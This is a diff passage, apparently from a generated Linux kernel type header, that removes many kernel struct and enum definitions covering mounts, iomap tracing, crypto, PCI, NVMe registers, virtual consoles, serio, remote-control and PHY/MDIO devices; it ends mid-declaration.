- -enum sgp_type { - SGP_READ = 0, - SGP_NOALLOC = 1, - SGP_CACHE = 2, - SGP_WRITE = 3, - SGP_FALLOC = 4, -}; - -struct linux_dirent64 { - u64 d_ino; - s64 d_off; - short unsigned int d_reclen; - unsigned char d_type; - char d_name[0]; -}; - -struct old_linux_dirent { - long unsigned int d_ino; - long unsigned int d_offset; - short unsigned int d_namlen; - char d_name[1]; -}; - -struct readdir_callback { - struct dir_context ctx; - struct old_linux_dirent *dirent; - int result; -}; - -struct linux_dirent { - long unsigned int d_ino; - long unsigned int d_off; - short unsigned int d_reclen; - char d_name[1]; -}; - -struct getdents_callback { - struct dir_context ctx; - struct linux_dirent *current_dir; - int prev_reclen; - int count; - int error; -}; - -struct getdents_callback64 { - struct dir_context ctx; - struct linux_dirent64 *current_dir; - int prev_reclen; - int count; - int error; -}; - -struct constant_table { - const char *name; - int value; -}; - -struct mount; - -struct mnt_namespace { - struct ns_common ns; - struct mount *root; - struct list_head list; - spinlock_t ns_lock; - struct user_namespace *user_ns; - struct ucounts *ucounts; - u64 seq; - wait_queue_head_t poll; - u64 event; - unsigned int mounts; - unsigned int pending_mounts; -}; - -struct fs_pin { - wait_queue_head_t wait; - int done; - struct hlist_node s_list; - struct hlist_node m_list; - void (*kill)(struct fs_pin *); -}; - -struct mnt_pcp; - -struct mountpoint; - -struct mount { - struct hlist_node mnt_hash; - struct mount *mnt_parent; - struct dentry *mnt_mountpoint; - struct vfsmount mnt; - union { - struct callback_head mnt_rcu; - struct llist_node mnt_llist; - }; - struct mnt_pcp *mnt_pcp; - struct list_head mnt_mounts; - struct list_head mnt_child; - struct list_head mnt_instance; - const char *mnt_devname; - struct list_head mnt_list; - struct list_head mnt_expire; - struct list_head mnt_share; - struct list_head mnt_slave_list; - struct list_head mnt_slave; - struct mount *mnt_master; - struct mnt_namespace *mnt_ns; - struct mountpoint *mnt_mp; - union { - struct hlist_node mnt_mp_list; - struct hlist_node mnt_umount; - }; - struct list_head mnt_umounting; - struct fsnotify_mark_connector *mnt_fsnotify_marks; - __u32 mnt_fsnotify_mask; - int mnt_id; - int mnt_group_id; - int mnt_expiry_mark; - struct hlist_head mnt_pins; - struct hlist_head mnt_stuck_children; -}; - -struct mnt_pcp { - int mnt_count; - int mnt_writers; -}; - -struct mountpoint { - struct hlist_node m_hash; - struct dentry *m_dentry; - struct hlist_head m_list; - int m_count; -}; - -enum legacy_fs_param { - LEGACY_FS_UNSET_PARAMS = 0, - LEGACY_FS_MONOLITHIC_PARAMS = 1, - LEGACY_FS_INDIVIDUAL_PARAMS = 2, -}; - -struct legacy_fs_context { - char *legacy_data; - size_t data_size; - enum legacy_fs_param param_type; -}; - -struct trace_print_flags { - long unsigned int mask; - const char *name; -}; - -struct trace_event_raw_iomap_readpage_class { - struct trace_entry ent; - dev_t dev; - u64 ino; - int nr_pages; - char __data[0]; -}; - -struct trace_event_raw_iomap_range_class { - struct trace_entry ent; - dev_t dev; - u64 ino; - loff_t size; - loff_t offset; - u64 length; - char __data[0]; -}; - -struct trace_event_raw_iomap_class { - struct trace_entry ent; - dev_t dev; - u64 ino; - u64 addr; - loff_t offset; - u64 length; - u16 type; - u16 flags; - dev_t bdev; - char __data[0]; -}; - -struct trace_event_raw_iomap_iter { - struct trace_entry ent; - dev_t dev; - u64 ino; - loff_t pos; - u64 length; - unsigned int flags; - const void *ops; - long unsigned int caller; - char __data[0]; -}; - -struct trace_event_data_offsets_iomap_readpage_class {}; - -struct trace_event_data_offsets_iomap_range_class {}; - -struct trace_event_data_offsets_iomap_class {}; - -struct trace_event_data_offsets_iomap_iter {}; - -typedef void (*btf_trace_iomap_readpage)(void *, struct inode *, int); - -typedef void (*btf_trace_iomap_readahead)(void *, struct inode *, int); - -typedef void (*btf_trace_iomap_writepage)(void *, struct inode *, loff_t, u64); - -typedef void (*btf_trace_iomap_release_folio)(void *, struct inode *, loff_t, u64); - -typedef void (*btf_trace_iomap_invalidate_folio)(void *, struct inode *, loff_t, u64); - -typedef void (*btf_trace_iomap_dio_invalidate_fail)(void *, struct inode *, loff_t, u64); - -typedef void (*btf_trace_iomap_iter_dstmap)(void *, struct inode *, struct iomap *); - -typedef void (*btf_trace_iomap_iter_srcmap)(void *, struct inode *, struct iomap *); - -typedef void (*btf_trace_iomap_writepage_map)(void *, struct inode *, struct iomap *); - -typedef void (*btf_trace_iomap_iter)(void *, struct iomap_iter *, const void *, long unsigned int); - -struct aead_request { - struct crypto_async_request base; - unsigned int assoclen; - unsigned int cryptlen; - u8 *iv; - struct scatterlist *src; - struct scatterlist *dst; - void *__ctx[0]; -}; - -struct crypto_aead; - -struct aead_alg { - int (*setkey)(struct crypto_aead *, const u8 *, unsigned int); - int (*setauthsize)(struct crypto_aead *, unsigned int); - int (*encrypt)(struct aead_request *); - int (*decrypt)(struct aead_request *); - int (*init)(struct crypto_aead *); - void (*exit)(struct crypto_aead *); - unsigned int ivsize; - unsigned int maxauthsize; - unsigned int chunksize; - struct crypto_alg base; -}; - -struct crypto_aead { - unsigned int authsize; - unsigned int reqsize; - struct crypto_tfm base; -}; - -struct aead_instance { - void (*free)(struct aead_instance *); - union { - struct { - char head[64]; - struct crypto_instance base; - } s; - struct aead_alg alg; - }; -}; - -struct crypto_sync_skcipher; - -struct aead_geniv_ctx { - spinlock_t lock; - struct crypto_aead *child; - struct crypto_sync_skcipher *sknull; - u8 salt[0]; -}; - -struct crypto_skcipher { - unsigned int reqsize; - struct crypto_tfm base; -}; - -struct crypto_sync_skcipher { - struct crypto_skcipher base; -}; - -struct skcipher_request { - unsigned int cryptlen; - u8 *iv; - struct scatterlist *src; - struct scatterlist *dst; - struct crypto_async_request base; - void *__ctx[0]; -}; - -enum rq_qos_id { - RQ_QOS_WBT = 0, - RQ_QOS_LATENCY = 1, - RQ_QOS_COST = 2, -}; - -struct rq_qos_ops; - -struct rq_qos { - struct rq_qos_ops *ops; - struct request_queue *q; - enum rq_qos_id id; - struct rq_qos *next; - struct dentry *debugfs_dir; -}; - -enum blk_default_limits { - BLK_MAX_SEGMENTS = 128, - BLK_SAFE_MAX_SECTORS = 255, - BLK_DEF_MAX_SECTORS = 2560, - BLK_MAX_SEGMENT_SIZE = 65536, - BLK_SEG_BOUNDARY_MASK = 4294967295, -}; - -struct blk_mq_debugfs_attr { - const char *name; - umode_t mode; - int (*show)(void *, struct seq_file *); - ssize_t (*write)(void *, const char *, size_t, loff_t *); - const struct seq_operations *seq_ops; -}; - -struct rq_qos_ops { - void (*throttle)(struct rq_qos *, struct bio *); - void (*track)(struct rq_qos *, struct request *, struct bio *); - void (*merge)(struct rq_qos *, struct request *, struct bio *); - void (*issue)(struct rq_qos *, struct request *); - void (*requeue)(struct rq_qos *, struct request *); - void (*done)(struct rq_qos *, struct request *); - void (*done_bio)(struct rq_qos *, struct bio *); - void (*cleanup)(struct rq_qos *, struct bio *); - void (*queue_depth_changed)(struct rq_qos *); - void (*exit)(struct rq_qos *); - const struct blk_mq_debugfs_attr *debugfs_attrs; -}; - -enum { - WBT_RWQ_BG = 0, - WBT_RWQ_KSWAPD = 1, - WBT_RWQ_DISCARD = 2, - WBT_NUM_RWQ = 3, -}; - -struct statx_timestamp { - __s64 tv_sec; - __u32 tv_nsec; - __s32 __reserved; -}; - -struct statx { - __u32 stx_mask; - __u32 stx_blksize; - __u64 stx_attributes; - __u32 stx_nlink; - __u32 stx_uid; - __u32 stx_gid; - __u16 stx_mode; - __u16 __spare0[1]; - __u64 stx_ino; - __u64 stx_size; - __u64 stx_blocks; - __u64 stx_attributes_mask; - struct statx_timestamp stx_atime; - struct statx_timestamp stx_btime; - struct statx_timestamp stx_ctime; - struct statx_timestamp stx_mtime; - __u32 stx_rdev_major; - __u32 stx_rdev_minor; - __u32 stx_dev_major; - __u32 stx_dev_minor; - __u64 stx_mnt_id; - __u32 stx_dio_mem_align; - __u32 stx_dio_offset_align; - __u64 __spare3[12]; -}; - -struct io_statx { - struct file *file; - int dfd; - unsigned int mask; - unsigned int flags; - struct filename *filename; - struct statx *buffer; -}; - -enum device_link_state { - DL_STATE_NONE = -1, - DL_STATE_DORMANT = 0, - DL_STATE_AVAILABLE = 1, - DL_STATE_CONSUMER_PROBE = 2, - DL_STATE_ACTIVE = 3, - DL_STATE_SUPPLIER_UNBIND = 4, -}; - -struct device_link { - struct device *supplier; - struct list_head s_node; - struct device *consumer; - struct list_head c_node; - struct device link_dev; - enum device_link_state status; - u32 flags; - refcount_t rpm_active; - struct kref kref; - struct work_struct rm_work; - bool supplier_preactivated; -}; - -enum pci_irq_reroute_variant { - INTEL_IRQ_REROUTE_VARIANT = 1, - MAX_IRQ_REROUTE_VARIANTS = 3, -}; - -enum pci_bus_flags { - PCI_BUS_FLAGS_NO_MSI = 1, - PCI_BUS_FLAGS_NO_MMRBC = 2, - PCI_BUS_FLAGS_NO_AERSID = 4, - PCI_BUS_FLAGS_NO_EXTCFG = 8, -}; - -struct pci_host_bridge { - struct device dev; - struct pci_bus *bus; - struct pci_ops *ops; - struct pci_ops *child_ops; - void *sysdata; - int busnr; - int domain_nr; - struct list_head windows; - struct list_head dma_ranges; - u8 (*swizzle_irq)(struct pci_dev *, u8 *); - int (*map_irq)(const struct pci_dev *, u8, u8); - void (*release_fn)(struct pci_host_bridge *); - void *release_data; - unsigned int ignore_reset_delay: 1; - unsigned int no_ext_tags: 1; - unsigned int native_aer: 1; - unsigned int native_pcie_hotplug: 1; - unsigned int native_shpc_hotplug: 1; - unsigned int native_pme: 1; - unsigned int native_ltr: 1; - unsigned int native_dpc: 1; - unsigned int preserve_config: 1; - unsigned int size_windows: 1; - unsigned int msi_domain: 1; - resource_size_t (*align_resource)(struct pci_dev *, const struct resource *, resource_size_t, resource_size_t, resource_size_t); - long: 64; - long: 64; - long: 64; - long: 64; - long unsigned int private[0]; -}; - -enum pcie_bus_config_types { - PCIE_BUS_TUNE_OFF = 0, - PCIE_BUS_DEFAULT = 1, - PCIE_BUS_SAFE = 2, - PCIE_BUS_PERFORMANCE = 3, - PCIE_BUS_PEER2PEER = 4, -}; - -struct pci_fixup { - u16 vendor; - u16 device; - u32 class; - unsigned int class_shift; - int hook_offset; -}; - -enum pci_fixup_pass { - pci_fixup_early = 0, - pci_fixup_header = 1, - pci_fixup_final = 2, - pci_fixup_enable = 3, - pci_fixup_resume = 4, - pci_fixup_suspend = 5, - pci_fixup_resume_early = 6, - pci_fixup_suspend_late = 7, -}; - -enum dev_prop_type { - DEV_PROP_U8 = 0, - DEV_PROP_U16 = 1, - DEV_PROP_U32 = 2, - DEV_PROP_U64 = 3, - DEV_PROP_STRING = 4, - DEV_PROP_REF = 5, -}; - -struct property_entry; - -struct software_node { - const char *name; - const struct software_node *parent; - const struct property_entry *properties; -}; - -struct property_entry { - const char *name; - size_t length; - bool is_inline; - enum dev_prop_type type; - union { - const void *pointer; - union { - u8 u8_data[8]; - u16 u16_data[4]; - u32 u32_data[2]; - u64 u64_data[1]; - const char *str[1]; - } value; - }; -}; - -enum { - NVME_REG_CAP = 0, - NVME_REG_VS = 8, - NVME_REG_INTMS = 12, - NVME_REG_INTMC = 16, - NVME_REG_CC = 20, - NVME_REG_CSTS = 28, - NVME_REG_NSSR = 32, - NVME_REG_AQA = 36, - NVME_REG_ASQ = 40, - NVME_REG_ACQ = 48, - NVME_REG_CMBLOC = 56, - NVME_REG_CMBSZ = 60, - NVME_REG_BPINFO = 64, - NVME_REG_BPRSEL = 68, - NVME_REG_BPMBL = 72, - NVME_REG_CMBMSC = 80, - NVME_REG_CRTO = 104, - NVME_REG_PMRCAP = 3584, - NVME_REG_PMRCTL = 3588, - NVME_REG_PMRSTS = 3592, - NVME_REG_PMREBS = 3596, - NVME_REG_PMRSWTP = 3600, - NVME_REG_DBS = 4096, -}; - -enum { - NVME_CC_ENABLE = 1, - NVME_CC_EN_SHIFT = 0, - NVME_CC_CSS_SHIFT = 4, - NVME_CC_MPS_SHIFT = 7, - NVME_CC_AMS_SHIFT = 11, - NVME_CC_SHN_SHIFT = 14, - NVME_CC_IOSQES_SHIFT = 16, - NVME_CC_IOCQES_SHIFT = 20, - NVME_CC_CSS_NVM = 0, - NVME_CC_CSS_CSI = 96, - NVME_CC_CSS_MASK = 112, - NVME_CC_AMS_RR = 0, - NVME_CC_AMS_WRRU = 2048, - NVME_CC_AMS_VS = 14336, - NVME_CC_SHN_NONE = 0, - NVME_CC_SHN_NORMAL = 16384, - NVME_CC_SHN_ABRUPT = 32768, - NVME_CC_SHN_MASK = 49152, - NVME_CC_IOSQES = 393216, - NVME_CC_IOCQES = 4194304, - NVME_CC_CRIME = 16777216, -}; - -enum { - NVME_CSTS_RDY = 1, - NVME_CSTS_CFS = 2, - NVME_CSTS_NSSRO = 16, - NVME_CSTS_PP = 32, - NVME_CSTS_SHST_NORMAL = 0, - NVME_CSTS_SHST_OCCUR = 4, - NVME_CSTS_SHST_CMPLT = 8, - NVME_CSTS_SHST_MASK = 12, -}; - -enum { - NVME_AEN_BIT_NS_ATTR = 8, - NVME_AEN_BIT_FW_ACT = 9, - NVME_AEN_BIT_ANA_CHANGE = 11, - NVME_AEN_BIT_DISC_CHANGE = 31, -}; - -enum { - SWITCHTEC_GAS_MRPC_OFFSET = 0, - SWITCHTEC_GAS_TOP_CFG_OFFSET = 4096, - SWITCHTEC_GAS_SW_EVENT_OFFSET = 6144, - SWITCHTEC_GAS_SYS_INFO_OFFSET = 8192, - SWITCHTEC_GAS_FLASH_INFO_OFFSET = 8704, - SWITCHTEC_GAS_PART_CFG_OFFSET = 16384, - SWITCHTEC_GAS_NTB_OFFSET = 65536, - SWITCHTEC_GAS_PFF_CSR_OFFSET = 1261568, -}; - -enum { - SWITCHTEC_NTB_REG_INFO_OFFSET = 0, - SWITCHTEC_NTB_REG_CTRL_OFFSET = 16384, - SWITCHTEC_NTB_REG_DBMSG_OFFSET = 409600, -}; - -struct nt_partition_info { - u32 xlink_enabled; - u32 target_part_low; - u32 target_part_high; - u32 reserved; -}; - -struct ntb_info_regs { - u8 partition_count; - u8 partition_id; - u16 reserved1; - u64 ep_map; - u16 requester_id; - u16 reserved2; - u32 reserved3[4]; - struct nt_partition_info ntp_info[48]; -} __attribute__((packed)); - -struct ntb_ctrl_regs { - u32 partition_status; - u32 partition_op; - u32 partition_ctrl; - u32 bar_setup; - u32 bar_error; - u16 lut_table_entries; - u16 lut_table_offset; - u32 lut_error; - u16 req_id_table_size; - u16 req_id_table_offset; - u32 req_id_error; - u32 reserved1[7]; - struct { - u32 ctl; - u32 win_size; - u64 xlate_addr; - } bar_entry[6]; - struct { - u32 win_size; - u32 reserved[3]; - } bar_ext_entry[6]; - u32 reserved2[192]; - u32 req_id_table[512]; - u32 reserved3[256]; - u64 lut_entry[512]; -}; - -struct pci_cap_saved_data { - u16 cap_nr; - bool cap_extended; - unsigned int size; - u32 data[0]; -}; - -struct pci_cap_saved_state { - struct hlist_node next; - struct pci_cap_saved_data cap; -}; - -struct pci_dev_reset_methods { - u16 vendor; - u16 device; - int (*reset)(struct pci_dev *, bool); -}; - -struct pci_dev_acs_enabled { - u16 vendor; - u16 device; - int (*acs_enabled)(struct pci_dev *, u16); -}; - -struct pci_dev_acs_ops { - u16 vendor; - u16 device; - int (*enable_acs)(struct pci_dev *); - int (*disable_acs_redir)(struct pci_dev *); -}; - -struct acpi_fan_fps { - u64 control; - u64 trip_point; - u64 speed; - u64 noise_level; - u64 power; - char name[20]; - struct device_attribute dev_attr; -}; - -struct acpi_fan_fif { - u8 revision; - u8 fine_grain_ctrl; - u8 step_size; - u8 low_speed_notification; -}; - -struct acpi_fan_fst { - u64 revision; - u64 control; - u64 speed; -}; - -struct acpi_fan { - bool acpi4; - struct acpi_fan_fif fif; - struct acpi_fan_fps *fps; - int fps_count; - struct thermal_cooling_device *cdev; - struct device_attribute fst_speed; - struct device_attribute fine_grain_control; -}; - -enum vc_intensity { - VCI_HALF_BRIGHT = 0, - VCI_NORMAL = 1, - VCI_BOLD = 2, - VCI_MASK = 3, -}; - -struct vc_state { - unsigned int x; - unsigned int y; - unsigned char color; - unsigned char Gx_charset[2]; - unsigned int charset: 1; - enum vc_intensity intensity; - bool italic; - bool underline; - bool blink; - bool reverse; -}; - -struct console_font { - unsigned int width; - unsigned int height; - unsigned int charcount; - unsigned char *data; -}; - -struct vt_mode { - char mode; - char waitv; - short int relsig; - short int acqsig; - short int frsig; -}; - -struct consw; - -struct uni_pagedict; - -struct uni_screen; - -struct vc_data { - struct tty_port port; - struct vc_state state; - struct vc_state saved_state; - short unsigned int vc_num; - unsigned int vc_cols; - unsigned int vc_rows; - unsigned int vc_size_row; - unsigned int vc_scan_lines; - unsigned int vc_cell_height; - long unsigned int vc_origin; - long unsigned int vc_scr_end; - long unsigned int vc_visible_origin; - unsigned int vc_top; - unsigned int vc_bottom; - const struct consw *vc_sw; - short unsigned int *vc_screenbuf; - unsigned int vc_screenbuf_size; - unsigned char vc_mode; - unsigned char vc_attr; - unsigned char vc_def_color; - unsigned char vc_ulcolor; - unsigned char vc_itcolor; - unsigned char vc_halfcolor; - unsigned int vc_cursor_type; - short unsigned int vc_complement_mask; - short unsigned int vc_s_complement_mask; - long unsigned int vc_pos; - short unsigned int vc_hi_font_mask; - struct console_font vc_font; - short unsigned int vc_video_erase_char; - unsigned int vc_state; - unsigned int vc_npar; - unsigned int vc_par[16]; - struct vt_mode vt_mode; - struct pid *vt_pid; - int vt_newvt; - wait_queue_head_t paste_wait; - unsigned int vc_disp_ctrl: 1; - unsigned int vc_toggle_meta: 1; - unsigned int vc_decscnm: 1; - unsigned int vc_decom: 1; - unsigned int vc_decawm: 1; - unsigned int vc_deccm: 1; - unsigned int vc_decim: 1; - unsigned int vc_priv: 3; - unsigned int vc_need_wrap: 1; - unsigned int vc_can_do_color: 1; - unsigned int vc_report_mouse: 2; - unsigned char vc_utf: 1; - unsigned char vc_utf_count; - int vc_utf_char; - long unsigned int vc_tab_stop[4]; - unsigned char vc_palette[48]; - short unsigned int *vc_translate; - unsigned int vc_resize_user; - unsigned int vc_bell_pitch; - unsigned int vc_bell_duration; - short unsigned int vc_cur_blink_ms; - struct vc_data **vc_display_fg; - struct uni_pagedict *uni_pagedict; - struct uni_pagedict **uni_pagedict_loc; - struct uni_screen *vc_uni_screen; -}; - -enum con_scroll { - SM_UP = 0, - SM_DOWN = 1, -}; - -struct consw { - struct module *owner; - const char * (*con_startup)(); - void (*con_init)(struct vc_data *, int); - void (*con_deinit)(struct vc_data *); - void (*con_clear)(struct vc_data *, int, int, int, int); - void (*con_putc)(struct vc_data *, int, int, int); - void (*con_putcs)(struct vc_data *, const short unsigned int *, int, int, int); - void (*con_cursor)(struct vc_data *, int); - bool (*con_scroll)(struct vc_data *, unsigned int, unsigned int, enum con_scroll, unsigned int); - int (*con_switch)(struct vc_data *); - int (*con_blank)(struct vc_data *, int, int); - int (*con_font_set)(struct vc_data *, struct console_font *, unsigned int); - int (*con_font_get)(struct vc_data *, struct console_font *); - int (*con_font_default)(struct vc_data *, struct console_font *, char *); - int (*con_resize)(struct vc_data *, unsigned int, unsigned int, unsigned int); - void (*con_set_palette)(struct vc_data *, const unsigned char *); - void (*con_scrolldelta)(struct vc_data *, int); - int (*con_set_origin)(struct vc_data *); - void (*con_save_screen)(struct vc_data *); - u8 (*con_build_attr)(struct vc_data *, u8, enum vc_intensity, bool, bool, bool, bool); - void (*con_invert_region)(struct vc_data *, u16 *, int); - u16 * (*con_screen_pos)(const struct vc_data *, int); - long unsigned int (*con_getxy)(struct vc_data *, long unsigned int, int *, int *); - void (*con_flush_scrollback)(struct vc_data *); - int (*con_debug_enter)(struct vc_data *); - int (*con_debug_leave)(struct vc_data *); -}; - -struct vc { - struct vc_data *d; - struct work_struct SAK_work; -}; - -struct tiocl_selection { - short unsigned int xs; - short unsigned int ys; - short unsigned int xe; - short unsigned int ye; - short unsigned int sel_mode; -}; - -struct vc_selection { - struct mutex lock; - struct vc_data *cons; - char *buffer; - unsigned int buf_len; - volatile int start; - int end; -}; - -struct driver_attribute { - struct attribute attr; - ssize_t (*show)(struct device_driver *, char *); - ssize_t (*store)(struct device_driver *, const char *, size_t); -}; - -struct serio_device_id { - __u8 type; - __u8 extra; - __u8 id; - __u8 proto; -}; - -struct serio_driver; - -struct serio { - void *port_data; - char name[32]; - char phys[32]; - char firmware_id[128]; - bool manual_bind; - struct serio_device_id id; - spinlock_t lock; - int (*write)(struct serio *, unsigned char); - int (*open)(struct serio *); - void (*close)(struct serio *); - int (*start)(struct serio *); - void (*stop)(struct serio *); - struct serio *parent; - struct list_head child_node; - struct list_head children; - unsigned int depth; - struct serio_driver *drv; - struct mutex drv_mutex; - struct device dev; - struct list_head node; - struct mutex *ps2_cmd_mutex; -}; - -struct serio_driver { - const char *description; - const struct serio_device_id *id_table; - bool manual_bind; - void (*write_wakeup)(struct serio *); - irqreturn_t (*interrupt)(struct serio *, unsigned char, unsigned int); - int (*connect)(struct serio *, struct serio_driver *); - int (*reconnect)(struct serio *); - int (*fast_reconnect)(struct serio *); - void (*disconnect)(struct serio *); - void (*cleanup)(struct serio *); - struct device_driver driver; -}; - -enum serio_event_type { - SERIO_RESCAN_PORT = 0, - SERIO_RECONNECT_PORT = 1, - SERIO_RECONNECT_SUBTREE = 2, - SERIO_REGISTER_PORT = 3, - SERIO_ATTACH_DRIVER = 4, -}; - -struct serio_event { - enum serio_event_type type; - void *object; - struct module *owner; - struct list_head node; -}; - -enum rc_driver_type { - RC_DRIVER_SCANCODE = 0, - RC_DRIVER_IR_RAW = 1, - RC_DRIVER_IR_RAW_TX = 2, -}; - -struct rc_scancode_filter { - u32 data; - u32 mask; -}; - -struct ir_raw_event_ctrl; - -struct rc_dev { - struct device dev; - bool managed_alloc; - const struct attribute_group *sysfs_groups[5]; - const char *device_name; - const char *input_phys; - struct input_id input_id; - const char *driver_name; - const char *map_name; - struct rc_map rc_map; - struct mutex lock; - unsigned int minor; - struct ir_raw_event_ctrl *raw; - struct input_dev *input_dev; - enum rc_driver_type driver_type; - bool idle; - bool encode_wakeup; - u64 allowed_protocols; - u64 enabled_protocols; - u64 allowed_wakeup_protocols; - enum rc_proto wakeup_protocol; - struct rc_scancode_filter scancode_filter; - struct rc_scancode_filter scancode_wakeup_filter; - u32 scancode_mask; - u32 users; - void *priv; - spinlock_t keylock; - bool keypressed; - long unsigned int keyup_jiffies; - struct timer_list timer_keyup; - struct timer_list timer_repeat; - u32 last_keycode; - enum rc_proto last_protocol; - u64 last_scancode; - u8 last_toggle; - u32 timeout; - u32 min_timeout; - u32 max_timeout; - u32 rx_resolution; - u32 tx_resolution; - struct device lirc_dev; - struct cdev lirc_cdev; - ktime_t gap_start; - spinlock_t lirc_fh_lock; - struct list_head lirc_fh; - bool registered; - int (*change_protocol)(struct rc_dev *, u64 *); - int (*open)(struct rc_dev *); - void (*close)(struct rc_dev *); - int (*s_tx_mask)(struct rc_dev *, u32); - int (*s_tx_carrier)(struct rc_dev *, u32); - int (*s_tx_duty_cycle)(struct rc_dev *, u32); - int (*s_rx_carrier_range)(struct rc_dev *, u32, u32); - int (*tx_ir)(struct rc_dev *, unsigned int *, unsigned int); - void (*s_idle)(struct rc_dev *, bool); - int (*s_wideband_receiver)(struct rc_dev *, int); - int (*s_carrier_report)(struct rc_dev *, int); - int (*s_filter)(struct rc_dev *, struct rc_scancode_filter *); - int (*s_wakeup_filter)(struct rc_dev *, struct rc_scancode_filter *); - int (*s_timeout)(struct rc_dev *, unsigned int); -}; - -struct ir_raw_event { - union { - u32 duration; - u32 carrier; - }; - u8 duty_cycle; - unsigned int pulse: 1; - unsigned int overflow: 1; - unsigned int timeout: 1; - unsigned int carrier_report: 1; -}; - -struct loopback_dev { - struct rc_dev *dev; - u32 txmask; - u32 txcarrier; - u32 txduty; - bool idle; - bool wideband; - bool carrierreport; - u32 rxcarriermin; - u32 rxcarriermax; -}; - -enum net_xmit_qdisc_t { - __NET_XMIT_STOLEN = 65536, - __NET_XMIT_BYPASS = 131072, -}; - -struct phy_tdr_config; - -struct ethtool_phy_ops { - int (*get_sset_count)(struct phy_device *); - int (*get_strings)(struct phy_device *, u8 *); - int (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); - int (*start_cable_test)(struct phy_device *, struct netlink_ext_ack *); - int (*start_cable_test_tdr)(struct phy_device *, struct netlink_ext_ack *, const struct phy_tdr_config *); -}; - -struct reset_control; - -struct mii_bus; - -struct mdio_device { - struct device dev; - struct mii_bus *bus; - char modalias[32]; - int (*bus_match)(struct device *, struct device_driver *); - void (*device_free)(struct mdio_device *); - void (*device_remove)(struct mdio_device *); - int addr; - int flags; - struct gpio_desc *reset_gpio; - struct reset_control *reset_ctrl; - unsigned int reset_assert_delay; - unsigned int reset_deassert_delay; -}; - -struct phy_c45_device_ids { - u32 devices_in_package; - u32 mmds_present; - u32 device_ids[32]; -}; - -enum phy_state { - PHY_DOWN = 0, - PHY_READY = 1, - PHY_HALTED = 2, - PHY_UP = 3, - PHY_RUNNING = 4, - PHY_NOLINK = 5, - PHY_CABLETEST = 6, -}; - -typedef enum { - PHY_INTERFACE_MODE_NA = 0, - PHY_INTERFACE_MODE_INTERNAL = 1, - PHY_INTERFACE_MODE_MII = 2, - PHY_INTERFACE_MODE_GMII = 3, - PHY_INTERFACE_MODE_SGMII = 4, - PHY_INTERFACE_MODE_TBI = 5, - PHY_INTERFACE_MODE_REVMII = 6, - PHY_INTERFACE_MODE_RMII = 7, - PHY_INTERFACE_MODE_REVRMII = 8, - PHY_INTERFACE_MODE_RGMII = 9, - PHY_INTERFACE_MODE_RGMII_ID = 10, - PHY_INTERFACE_MODE_RGMII_RXID = 11, - PHY_INTERFACE_MODE_RGMII_TXID = 12, - PHY_INTERFACE_MODE_RTBI = 13, - PHY_INTERFACE_MODE_SMII = 14, - PHY_INTERFACE_MODE_XGMII = 15, - PHY_INTERFACE_MODE_XLGMII = 16, - PHY_INTERFACE_MODE_MOCA = 17, - PHY_INTERFACE_MODE_QSGMII = 18, - PHY_INTERFACE_MODE_TRGMII = 19, - PHY_INTERFACE_MODE_100BASEX = 20, - PHY_INTERFACE_MODE_1000BASEX = 21, - PHY_INTERFACE_MODE_2500BASEX = 22, - PHY_INTERFACE_MODE_5GBASER = 23, - PHY_INTERFACE_MODE_RXAUI = 24, - PHY_INTERFACE_MODE_XAUI = 25, - PHY_INTERFACE_MODE_10GBASER = 26, - PHY_INTERFACE_MODE_25GBASER = 27, - PHY_INTERFACE_MODE_USXGMII = 28, - PHY_INTERFACE_MODE_10GKR = 29, - PHY_INTERFACE_MODE_QUSGMII = 30, - PHY_INTERFACE_MODE_1000BASEKX = 31, - PHY_INTERFACE_MODE_MAX = 32, -} phy_interface_t; - -struct phylink; - -struct pse_control; - -struct phy_driver; - -struct phy_package_shared; - -struct mii_timestamper; - -struct phy_device { - struct mdio_device mdio; - struct phy_driver *drv; - struct device_link *devlink; - u32 phy_id; - struct phy_c45_device_ids c45_ids; - unsigned int is_c45: 1; - unsigned int is_internal: 1; - unsigned int is_pseudo_fixed_link: 1; - unsigned int is_gigabit_capable: 1; - unsigned int has_fixups: 1; - unsigned int suspended: 1; - unsigned int suspended_by_mdio_bus: 1; - unsigned int sysfs_links: 1; - unsigned int loopback_enabled: 1; - unsigned int downshifted_rate: 1; - unsigned int is_on_sfp_module: 1; - unsigned int mac_managed_pm: 1; - unsigned int autoneg: 1; - unsigned int link: 1; - unsigned int autoneg_complete: 1; - unsigned int interrupts: 1; - unsigned int irq_suspended: 1; - unsigned int irq_rerun: 1; - int rate_matching; - enum phy_state state; - u32 dev_flags; - phy_interface_t interface; - int speed; - int duplex; - int port; - int pause; - int asym_pause; - u8 master_slave_get; - u8 master_slave_set; - u8 master_slave_state; - long unsigned int supported[2]; - long unsigned int advertising[2]; - long unsigned int lp_advertising[2]; - long unsigned int adv_old[2]; - long unsigned int host_interfaces[1]; - u32 eee_broken_modes; - int irq; - void *priv; - struct phy_package_shared *shared; - struct sk_buff *skb; - void *ehdr; - struct nlattr *nest; - struct delayed_work state_queue; - struct mutex lock; - bool sfp_bus_attached; - struct sfp_bus *sfp_bus; - struct phylink *phylink; - struct net_device *attached_dev; - struct mii_timestamper *mii_ts; - struct pse_control *psec; - u8 mdix; - u8 mdix_ctrl; - int pma_extable; - unsigned int link_down_events; - void (*phy_link_change)(struct phy_device *, bool); - void (*adjust_link)(struct net_device *); -}; - -struct phy_tdr_config { - u32 first; - u32 last; - u32 step; - s8 pair; -}; - -struct mdio_bus_stats { - u64_stats_t transfers; - u64_stats_t errors; - u64_stats_t writes; - u64_stats_t reads; - struct u64_stats_sync syncp; -}; - -struct mii_bus { - struct module *owner; - const char *name; - char id[61]; - void *priv; - int (*read)(struct mii_bus *, int, int); - int (*write)(struct mii_bus *, int, int, u16); - int (*reset)(struct mii_bus *); - struct mdio_bus_stats stats[32]; - struct mutex mdio_lock; - struct device *parent; - enum { - MDIOBUS_ALLOCATED = 1, - MDIOBUS_REGISTERED = 2, - MDIOBUS_UNREGISTERED = 3, - MDIOBUS_RELEASED = 4, - } state; - struct device dev; - struct mdio_device *mdio_map[32]; - u32 phy_mask; - u32 phy_ignore_ta_mask; - int irq[32]; - int reset_delay_us; - int reset_post_delay_us; - struct gpio_desc *reset_gpiod; - enum { - MDIOBUS_NO_CAP = 0, - MDIOBUS_C22 = 1, - MDIOBUS_C45 = 2, - MDIOBUS_C22_C45 = 3, - } probe_capabilities; - struct mutex shared_lock; - struct phy_package_shared *shared[32]; -}; - -struct mdio_driver_common { - struct device_driver driver; - int flags; -}; - -struct mii_timestamper { - bool (*rxtstamp)(struct mii_timestamper *, struct sk_buff *, int); - void (*txtstamp)(struct 